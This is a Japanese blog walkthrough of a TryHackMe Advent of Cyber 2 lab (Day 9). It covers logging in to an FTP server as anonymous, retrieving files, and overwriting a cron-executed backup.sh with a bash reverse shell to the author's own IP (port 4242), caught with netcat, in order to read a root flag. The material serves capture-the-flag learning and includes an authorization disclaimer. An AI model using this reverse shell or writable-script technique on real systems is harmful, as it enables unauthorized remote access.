Skip to main content

【THM: TryHackMe】Advent of Cyber 2を解いてみた【Day9】

·107 words·1 min
yuk1h1ra
Author
yuk1h1ra
Table of Contents
Advent of Cyber 2 - This article is part of a series.
Part : This Article

はじめに
#

今回は基本的なftpサーバへの接続方法やコマンドを学ぶ章になっています。 また、設定の不備によってftpからシェルを奪取する基本的な方法について学ぶことができます。

本記事は全てのセキュリティに携わる人に向けて執筆しており、クラッキングを推奨するものではありません。本記事の手法を用いて、許可された環境以外で実行することは絶対にやめてください。

Anyone can be Santa!
#

Name the directory on the FTP server that has data accessible by the “anonymous” user
#

FTPサーバー上の、anonymousユーザーがアクセスできるデータを持つディレクトリの名前

まずはftpコマンドでインスタンスに接続します。

ftp 10.10.xxx.xxx

名前を聞かれるのでanonymousユーザでログインします。 そして中身を確認して1問目は終了です。

ftp>ls

What script gets executed within this directory?
#

このディレクトリの中で、どのようなスクリプトが実行されるのでしょうか?

先程のanonymousユーザがアクセスできるディレクトリにあるスクリプトを確認して終了です。

What movie did Santa have on his Christmas shopping list?
#

サンタがクリスマスの買い物リストに入れた映画は?

こちらもpublic配下にあるファイルから取得できます。

ftp>cd public
ftp>get xxxxxxxxxxxx.txt

Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!
#

このスクリプトを悪意のあるデータを含むように再アップロードする(9.6節で行ったのと同じように。/root/flag.txtの内容を出力してください!

まずは、スクリプトをGetしてきます

ftp>get backup.sh

このバックアップスクリプトは定期的にcron実行されるのではないかとあたりをつけ、手元で中身を変えたあと、再度ftpサーバにputします

#!/bin/bash

bash -i >& /dev/tcp/10.11.xxx.xxx/4242 0>&1

このReverse ShellのスクリプトはPayloadsAllTheThingsに記載されています。 IPアドレスは自分のIPアドレスを記載してください。

その後、書き換えたbackup.shをftpサーバ上に再度あげます

ftp>put backup.sh

定期的にbackup.shが実行されることを期待して、こちらでListenしておきます。

nc -lvnp 4242

1分ほど放置していると、無事bashが帰ってきていることを確認できます。 それでflagを取得して終了です。

おわりに
#

今回は基本的なftpサーバへの接続方法やコマンド類、また設定の不備からシェルを奪取する方法について学びました。 今回の最後の問題から少し考えさせられるような問題が来ましたが、分からない部分は記述してある文章をよく読めば解けるようになっているので、OSCPライクなマシンの攻略を考えている人の最初のとっかかりになる問題だと思います。

Advent of Cyber 2 - This article is part of a series.
Part : This Article